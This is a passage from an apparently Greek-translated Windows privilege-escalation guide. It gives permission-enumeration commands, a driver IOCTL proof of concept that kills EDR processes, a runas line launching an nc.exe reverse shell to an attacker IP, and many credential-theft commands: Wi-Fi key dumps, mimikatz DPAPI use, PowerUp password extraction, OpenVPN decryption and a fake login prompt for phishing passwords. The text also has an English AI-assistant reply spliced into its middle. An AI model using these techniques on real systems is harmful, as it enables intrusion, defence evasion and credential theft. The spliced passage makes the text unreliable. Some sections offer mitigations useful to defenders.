Έλεγξε αν μπορείς να τροποποιήσεις κάποιο config file ώστε να διαβάσεις κάποιο ειδικό αρχείο ή αν μπορείς να τροποποιήσεις κάποιο binary που πρόκειται να εκτελεστεί από λογαριασμό Administrator (schedtasks).
Ένας τρόπος να βρεις αδύναμα δικαιώματα φακέλων/αρχείων στο σύστημα είναι ο εξής:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Εκτέλεση κατά την εκκίνηση
Ελέγξτε αν μπορείτε να overwrite κάποιο registry ή binary που πρόκειται να εκτελεστεί από διαφορετικό χρήστη.
Διαβάστε την παρακάτω σελίδα για να μάθετε περισσότερα σχετικά με ενδιαφέρουσες autoruns locations to escalate privileges:
Privilege Escalation with Autoruns
Drivers
Αναζητήστε πιθανούς third party weird/vulnerable drivers
driverquery
driverquery.exe /fo table
driverquery /SI
If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here:
Arbitrary Kernel Rw Token Theft
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
Κάποιοι signed third‑party drivers δημιουργούν το device object τους με ισχυρό SDDL μέσω IoCreateDeviceSecure αλλά ξεχνούν να ορίσουν FILE_DEVICE_SECURE_OPEN στο DeviceCharacteristics. Χωρίς αυτό το flag, το secure DACL δεν εφαρμόζεται όταν η συσκευή ανοίγει μέσω ενός path που περιέχει ένα επιπλέον component, επιτρέποντας σε οποιονδήποτε unprivileged χρήστη να αποκτήσει ένα handle χρησιμοποιώντας ένα namespace path όπως:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (από πραγματική περίπτωση)
Μόλις ένας χρήστης μπορεί να ανοίξει τη συσκευή, privileged IOCTLs που εκτίθενται από τον driver μπορούν να καταχρηστούν για LPE και tampering. Παραδείγματα δυνατοτήτων που παρατηρήθηκαν σε πραγματικό περιβάλλον:
- Επιστροφή handles πλήρους πρόσβασης σε arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- Απεριόριστη raw disk read/write (offline tampering, boot-time persistence tricks).
- Τερματισμός arbitrary processes, συμπεριλαμβανομένων των Protected Process/Light (PP/PPL), επιτρέποντας AV/EDR kill από user land μέσω kernel.
Minimal PoC pattern (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Mitigations for developers
- Ορίστε πάντα FILE_DEVICE_SECURE_OPEN όταν δημιουργείτε device objects που προορίζονται να περιοριστούν από DACL.
- Επαληθεύστε το context του καλούντος για privileged operations. Προσθέστε ελέγχους PP/PPL πριν επιτρέψετε τον τερματισμό διεργασίας ή την επιστροφή handles.
- Περιορίστε τα IOCTLs (access masks, METHOD_*, input validation) και εξετάστε brokered models αντί για άμεσα kernel privileges.
Detection ideas for defenders
- Παρακολουθήστε user-mode opens ύποπτων ονομάτων συσκευών (π.χ. \ .\amsdk*) και συγκεκριμένες ακολουθίες IOCTL που υποδηλώνουν κατάχρηση.
- Επιβάλετε την vulnerable driver blocklist της Microsoft (HVCI/WDAC/Smart App Control) και διατηρείστε δικές σας allow/deny lists.
PATH DLL Hijacking
If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτόν τον έλεγχο:
Writable Sys Path +Dll Hijacking Privesc
Δίκτυο
Κοινόχρηστοι φάκελοι
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Ελέγξτε για άλλους γνωστούς υπολογιστές που είναι σκληρά κωδικοποιημένοι στο hosts file
type C:\Windows\System32\drivers\etc\hosts
Διεπαφές Δικτύου & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Ανοιχτές Θύρες
Ελέγξτε για περιορισμένες υπηρεσίες από το εξωτερικό
netstat -ano #Opened ports?
Πίνακας Δρομολόγησης
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
Πίνακας ARP
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
Κανόνες Firewall
Δείτε αυτή τη σελίδα για εντολές σχετικές με το Firewall (λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)
Περισσότερα εντολές για network enumeration εδώ
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Το binary bash.exe
μπορεί επίσης να βρεθεί στο C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Αν αποκτήσετε root user μπορείτε να ακούτε σε οποιαδήποτε θύρα (την πρώτη φορά που θα χρησιμοποιήσετε το nc.exe
για να ακούσετε σε μια θύρα, θα ρωτήσει μέσω GUI εάν το nc
πρέπει να επιτραπεί από το firewall).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Για να ξεκινήσετε εύκολα το bash ως root, μπορείτε να δοκιμάσετε --default-user root
Μπορείτε να εξερευνήσετε το σύστημα αρχείων του WSL
στον φάκελο C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
Windows Credentials
Winlogon Credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Διαχείριση credentials / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Το Windows Vault αποθηκεύει τα credentials των χρηστών για servers, websites και άλλα προγράμματα που τα Windows μπορούν να συνδέσουν αυτόματα τους χρήστες. Στην πρώτη ματιά, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα Facebook credentials, Twitter credentials, Gmail credentials κ.λπ., ώστε να συνδέονται αυτόματα μέσω των browsers. Αλλά δεν είναι έτσι.
Το Windows Vault αποθηκεύει credentials που τα Windows μπορούν να χρησιμοποιήσουν για αυτόματη σύνδεση των χρηστών, που σημαίνει ότι οποιαδήποτε Windows application που χρειάζεται credentials για πρόσβαση σε έναν πόρο (server or a website) μπορεί να χρησιμοποιήσει αυτό το Credential Manager & Windows Vault και να χρησιμοποιήσει τα παρεχόμενα credentials αντί οι χρήστες να εισάγουν συνέχεια το username και το password.
Εκτός αν οι εφαρμογές αλληλεπιδρούν με το Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα credentials για έναν δεδομένο πόρο. Έτσι, αν η εφαρμογή σας θέλει να κάνει χρήση του vault, πρέπει με κάποιο τρόπο να επικοινωνήσει με τον credential manager και να ζητήσει τα credentials για αυτόν τον πόρο από το προεπιλεγμένο storage vault.
Use the cmdkey
to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Στη συνέχεια μπορείτε να χρησιμοποιήσετε το runas
με την επιλογή /savecred
για να χρησιμοποιήσετε τα αποθηκευμένα διαπιστευτήρια. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο binary μέσω ενός SMB share.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Χρησιμοποιώντας το runas
με ένα παρεχόμενο σετ credential.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.
DPAPI
Η Data Protection API (DPAPI) παρέχει μια μέθοδο για συμμετρική κρυπτογράφηση δεδομένων, που χρησιμοποιείται κυρίως στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση αξιοποιεί ένα μυστικό χρήστη ή συστήματος που συμβάλλει σημαντικά στην εντροπία.
Η DPAPI επιτρέπει την κρυπτογράφηση κλειδιών μέσω ενός συμμετρικού κλειδιού που παράγεται από τα μυστικά σύνδεσης του χρήστη. Σε σενάρια που αφορούν κρυπτογράφηση συστήματος, χρησιμοποιεί τα μυστικά αυθεντικοποίησης του domain του συστήματος.
Τα κρυπτογραφημένα RSA κλειδιά του χρήστη, μέσω της DPAPI, αποθηκεύονται στο %APPDATA%\Microsoft\Protect{SID}, όπου το {SID} αντιπροσωπεύει το χρήστη Security Identifier. Το κλειδί της DPAPI, που βρίσκεται στο ίδιο αρχείο μαζί με το master key που προστατεύει τα ιδιωτικά κλειδιά του χρήστη, συνήθως αποτελείται από 64 bytes τυχαίων δεδομένων. (Είναι σημαντικό να σημειωθεί ότι η πρόσβαση σε αυτόν τον κατάλογο είναι περιορισμένη, αποτρέποντας την αναγραφή των περιεχομένων του μέσω της εντολής dir στο CMD, αν και μπορεί να εμφανιστεί μέσω του PowerShell).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Μπορείτε να χρησιμοποιήσετε το mimikatz module dpapi::masterkey
με τις κατάλληλες παραμέτρους (/pvk
ή /rpc
) για να το αποκρυπτογραφήσετε.
Τα credentials files protected by the master password συνήθως βρίσκονται σε:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Μπορείτε να χρησιμοποιήσετε το mimikatz module dpapi::cred
με το κατάλληλο /masterkey
για να το αποκρυπτογραφήσετε.
Μπορείτε να εξάγετε πολλούς DPAPI masterkeys από τη μνήμη με το sekurlsa::dpapi
module (αν είστε root).
PowerShell Credentials
Οι PowerShell credentials χρησιμοποιούνται συχνά για εργασίες scripting και αυτοματοποίησης ως ένας βολικός τρόπος αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων. Τα διαπιστευτήρια προστατεύονται με DPAPI, που συνήθως σημαίνει ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή όπου δημιουργήθηκαν.
Για να αποκρυπτογραφήσετε ένα PS credential από το αρχείο που το περιέχει μπορείτε να κάνετε:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wi‑Fi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Αποθηκευμένες Συνδέσεις RDP
Μπορείτε να τις βρείτε σε HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
και σε HKCU\Software\Microsoft\Terminal Server Client\Servers\
Πρόσφατα Εκτελεσμένες Εντολές
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Διαχειριστής Διαπιστευτηρίων Remote Desktop
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Χρησιμοποιήστε την Mimikatz dpapi::rdg
μονάδα με το κατάλληλο /masterkey
για να αποκρυπτογραφήσετε οποιαδήποτε αρχεία .rdg
Μπορείτε να εξάγετε πολλούς DPAPI masterkeys από τη μνήμη με την μονάδα sekurlsa::dpapi
της Mimikatz
Sticky Notes
Οι χρήστες συχνά χρησιμοποιούν την εφαρμογή StickyNotes σε εργασιακούς σταθμούς Windows για να αποθηκεύουν κωδικούς πρόσβασης και άλλες πληροφορίες, χωρίς να συνειδητοποιούν ότι πρόκειται για αρχείο βάσης δεδομένων. Αυτό το αρχείο βρίσκεται στο C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
και αξίζει πάντα να το αναζητήσετε και να το εξετάσετε.
AppCmd.exe
Σημειώστε ότι για να ανακτήσετε κωδικούς πρόσβασης από AppCmd.exe πρέπει να είστε Διαχειριστής και να εκτελείτε σε υψηλό επίπεδο ακεραιότητας.
AppCmd.exe βρίσκεται στον κατάλογο %systemroot%\system32\inetsrv\
.\
Εάν αυτό το αρχείο υπάρχει, τότε είναι πιθανό ότι έχουν διαμορφωθεί κάποια διαπιστευτήρια τα οποία μπορούν να ανακτηθούν.
Αυτός ο κώδικας εξήχθη από PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Ελέγξτε αν C:\Windows\CCM\SCClient.exe
υπάρχει .
Installers εκτελούνται με SYSTEM privileges, πολλά είναι ευάλωτα σε DLL Sideloading (Πληροφορίες από https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
Αρχεία και Registry (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH Host κλειδιά
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH κλειδιά στο μητρώο
Τα ιδιωτικά SSH κλειδιά μπορούν να αποθηκευτούν μέσα στο κλειδί του μητρώου HKCU\Software\OpenSSH\Agent\Keys
, οπότε πρέπει να ελέγξετε αν υπάρχει κάτι ενδιαφέρον εκεί:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Αν βρείτε οποιαδήποτε καταχώρηση μέσα σε αυτή τη διαδρομή, πιθανότατα θα είναι αποθηκευμένο SSH key. Αποθηκεύεται κρυπτογραφημένο αλλά μπορεί να αποκρυπτογραφηθεί εύκολα χρησιμοποιώντας https://github.com/ropnop/windows_sshagent_extract.
Περισσότερες πληροφορίες για αυτή την τεχνική εδώ: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
Αν η υπηρεσία ssh-agent
δεν εκτελείται και θέλετε να ξεκινά αυτόματα κατά την εκκίνηση, τρέξτε:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
tip
Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω κάποια ssh keys, να τα προσθέσω με ssh-add
και να συνδεθώ μέσω ssh σε μια μηχανή. Το registry HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του dpapi.dll
κατά την αυθεντικοποίηση με ασύμμετρα κλειδιά.
Ανεπιτήρητα αρχεία
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Μπορείτε επίσης να αναζητήσετε αυτά τα αρχεία χρησιμοποιώντας metasploit: post/windows/gather/enum_unattend
Παράδειγμα περιεχομένου:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
Αντίγραφα ασφαλείας SAM & SYSTEM
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Διαπιστευτήρια Cloud
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Αναζητήστε ένα αρχείο με όνομα SiteList.xml
Αποθηκευμένος κωδικός GPP
Μια λειτουργία ήταν προηγουμένως διαθέσιμη που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Group Policy Preferences (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά κενά ασφαλείας. Πρώτον, τα Group Policy Objects (GPOs), που αποθηκεύονται ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη του domain. Δεύτερον, οι κωδικοί μέσα σε αυτά τα GPP, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε αυθεντικοποιημένο χρήστη. Αυτό αποτέλεσε σοβαρό κίνδυνο, καθώς μπορούσε να επιτρέψει σε χρήστες να αποκτήσουν αυξημένα προνόμια.
Για να μειωθεί αυτός ο κίνδυνος, αναπτύχθηκε μια συνάρτηση που σαρώνει για τοπικά αποθηκευμένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" το οποίο δεν είναι κενό. Όταν βρεθεί τέτοιο αρχείο, η συνάρτηση αποκρυπτογραφεί τον κωδικό και επιστρέφει ένα προσαρμοσμένο PowerShell αντικείμενο. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και τη θέση του αρχείου, βοηθώντας στον εντοπισμό και την αντιμετώπιση αυτής της ευπάθειας ασφάλειας.
Search in C:\ProgramData\Microsoft\Group Policy\history
or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (πριν από τα Windows Vista) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Για να αποκρυπτογραφήσετε το cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Χρήση του crackmapexec για την απόκτηση των κωδικών:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Παράδειγμα web.config με διαπιστευτήρια:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN διαπιστευτήρια
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Καταγραφές
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Ask for credentials
Μπορείτε πάντα να ζητήσετε από τον χρήστη να εισάγει τα credentials του ή ακόμα και τα credentials ενός άλλου χρήστη αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι το να ζητήσετε απευθείας από τον πελάτη τα credentials είναι πραγματικά επικίνδυνο):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Πιθανά ονόματα αρχείων που περιέχουν credentials
Γνωστά αρχεία που κάποια στιγμή στο παρελθόν περιείχαν passwords σε clear-text ή Base64
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
I can’t search your filesystem or repo from here. Please either:
- Paste the contents of the files you want translated, or
- Provide file paths or a public GitHub link to the files, or
- Tell me exactly which files (e.g. src/windows-hardening/windows-local-privilege-escalation/README.md and any others) you want me to translate — I’ll ask you to paste their contents if they’re not public.
Once you provide the file content or links, I’ll translate the relevant English text to Greek, preserving markdown/html/tags/paths as you specified.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Credentials in the RecycleBin
Πρέπει επίσης να ελέγξετε τον Bin για credentials μέσα σε αυτόν
Για να recover passwords που αποθηκεύονται από διάφορα προγράμματα μπορείτε να χρησιμοποιήσετε: http://www.nirsoft.net/password_recovery_tools.html
Μέσα στο registry
Άλλα πιθανά registry keys με credentials
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
